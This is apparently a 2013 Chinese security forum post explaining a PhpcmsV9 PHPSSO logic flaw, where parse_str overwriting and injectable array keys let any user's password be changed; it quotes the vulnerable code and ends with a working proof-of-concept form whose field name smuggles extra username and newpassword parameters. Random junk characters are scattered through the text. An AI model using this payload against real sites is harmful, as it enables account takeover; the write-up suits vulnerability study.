找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1955|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:5 c3 T! B% B+ W: [8 H+ O. r

$ Y9 N; O5 N2 ~. g) I1 y: F) P, n' [" q7 _
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" Z7 c+ h. o8 Y% `- f5 Y8 w* ^
& J$ M" c# B" S& Y% ^在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。  Y' N2 @* q* f, [

7 Z* L( \1 l6 b我把它留给了你们。
6 K* S2 l8 b+ w不知道你们发现了它没有。
; R0 \) I9 D2 c
2 N& p" V, P* A5 [; a4 `- V我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。2 V7 B" H' P  S. Q8 q

) a7 m) {2 `, v/ G$ q, f. S所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。, X9 {$ n4 c1 a( v- X4 G# h& d
6 L6 d% S7 N6 a0 z. c' @: R) |
也就是
! N! @* n0 Y; ]" F; O! P3 T5 c+ ^$ _0 r+ G# {4 Y1 h
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。0 g: l# T2 i& R
5 E5 o( d) s$ u5 T- S2 g5 P
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。+ U$ F0 D" m2 l" X2 k8 ^7 s
! E1 L& i, b; t7 |/ y. f
) R6 v! t4 g( |
其实我们有这样的机会,看看代码,如下:/ [! `* [4 |& [+ Y" v+ X

7 s$ Q) z9 k# z) o% G$ P* h. i4 D( ?# O7 f  k
public function auth_data($data) {
) V6 ^1 c% t! L- j) k: {                $s = $sep = '';' r4 _% ?+ \( a  W
                foreach($data as $k => $v) {. l3 Z5 T. }2 j1 l7 E0 y7 I1 q5 v: }
                        if(is_array($v)) {
6 m6 s3 }+ n1 A+ k! y  P                                $s2 = $sep2 = '';
, Y/ ?, b: M$ f3 K# [# I+ P* Z/ L; u                                foreach($v as $k2 => $v2) {
% x& n, t, G' j* b! A0 |, d                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);8 E4 i3 W2 S1 h: u  |. p
                                        $sep2 = '&';
) G' n6 ?* j) d) {7 ?. A9 n0 K                                }* [9 w4 Y0 C+ o
                                $s .= $sep.$s2;0 K, j" e. l# f
                        } else {
( }$ F. n5 }1 d7 S/ p5 V                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
* ]# A7 o# x4 Q( Q3 G: q                        }
) s4 x. P& }: D" ^, t4 r                        $sep = '&';6 V' [% J6 t2 ^$ [
                }5 a- y8 ]' J2 E- l7 b
% m: v+ A. T& ~+ W, t
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));" e( U0 J% p0 _: D$ w
                return $auth_s;
- |9 h: B3 R! q. [/ d" [  Q        }
! U& E5 r& x5 H, y0 y0 w& E4 i7 X8 Q  @% |
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
; n( _  N+ ~4 S* T( @3 i
. A! W0 W& X0 s$ T  Z举个例子* m( I: X- R0 m, R' s0 |- M/ \

% y1 J8 u( v( ?# Y+ k" X- C" z, T$a[aaa=a&bbb] = 'a';8 ]& w% d( j9 F3 d+ c, U0 q' g

$ C, I' K0 a, A1 _会变成aaa=a&bbb=a, x7 S  T7 E) Y' T9 j" a
: p: I6 p4 O9 _1 [" p" J( o
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
1 N# d0 p/ }% A+ }! t3 H+ h4 d6 p
3 p* i4 ?8 F7 C; g" Y  i这个时候,我们可以再去看一个函数。
; V- C- p$ \7 O6 L
! `; H+ D7 d( b' _. Y* e! A就在这个文件内:
2 b% l0 S! U' V, I" q
3 j! E. Z- X& k  `6 i$ e4 X2 I( f% v% t" V8 S
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {/ n% L# `& W& H  a8 o4 |
                if($email && !$this->_is_email($email)) {
$ L, z1 {! i+ \  ^                        return -4;0 L. r, k3 X- L& v8 |' g" k) m; [* _' U
                }
% y8 C7 o2 {/ Q1 w                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
% ]& v5 [( @5 f& u; O5 ~' |1 f3 t        }
: V2 a( ?0 @8 J5 t- @) n4 ~( w* Q/ w! C. `: n- q
这是向通行证发了这样一个请求。
4 f- d: \2 b" t
5 m3 q" u) E% ~$ }; I我们再跟到通信证代码里去看看,就会有所发现。1 U$ ~6 f: c7 C8 ?% Z3 |5 R
8 c2 j* e; |% {, [5 L

2 t5 M' F( I+ J" ~% \public function edit() {
& V4 u- v; ~+ B6 {% l  Y' @//能省就省,太长了不是吗?# K* E0 h+ p2 Y5 H1 i

! u+ d+ S  z2 J, ~6 nif($this->username) {- T6 X" X$ ?! y  J; m
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。! V0 R9 }0 {1 x- c) W! W
                                $res = $this->db->update($data, array('username'=>$this->username));) H) q7 F+ u- ?% y% o
                        } else {
- ]) ]/ Q5 {, }- }. W+ `5 l- n                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
& v6 i2 z0 ^! L& Q7 i                                $res = $this->db->update($data, array('uid'=>$this->uid));- _8 h4 V& u3 w6 |6 T4 d
                        }* I& ]" ~8 C- m

, f8 v3 v2 ]0 I8 L好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:+ G: N7 n7 m, Y/ O
: O7 O1 u) X) k0 p
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
' X  J- ], b& r2 I
9 x/ D( \: M7 B+ m很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
1 v7 d# w" R+ b( _5 R5 L$ S" _0 N, X0 e
我当然找到了:6 p& J8 m" S5 B0 E% M: k
phpcms9/phpcms/modules/member/index.php
* i. a6 L2 s, m9 G" O
* D1 {, n* |9 v- O$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);! i$ {0 U" ?& l
. r6 T1 g7 @2 K) d
然后就没有然后了。
! S" Y) a7 A# h& ?0 ?
9 u3 o) |) S# s2 J! n% t0 a) `<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
/ O% i) C1 @7 ?, @  B                                <table width="100%" cellspacing="0" class="table_form">
0 A7 _) `5 A# v                                        <tr>
& B  d4 H7 v- o8 \1 H; `- T                                                <th width="80">邮箱:</th>        " v9 V( y) q8 \
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
: _! _& M' g* P0 P, |                                        </tr>0 b7 T: ^7 L: O! w/ v! B
                                        <tr>
5 B. R' I  ?9 |7 {                                                <th width="80">原密码:</th>        . u* o# D$ u, l& v& T( v& K$ t
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
3 P2 B) T8 w( S+ a* E7 k  v+ K* D! i                                        </tr>
1 _6 y$ C  j5 @$ L" j3 [! y; Y5 S                                        <tr>
3 B% e6 q4 n# N: V' U" a                                                <th>新密码:</th>
0 ]7 x, p* i8 U: M3 U+ X                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
5 A" F' ]3 |) n& ~                                        </tr>
% A* \2 w  f% X/ @6 ~; n                                        <th></th>
! ~: b, s+ d' n                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>  f$ J3 W8 W! h* {' k9 F8 o6 h
                                        </tr>5 H+ T! v# s; K+ C2 M  C
                                </table>
& u" P" A; R  \# r/ x$ x
% [7 B- z: n$ _: a8 \! Q                               
6 _9 G* v! K1 \: n1 j                        </form>
8 J, v2 _4 E! n. }5 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表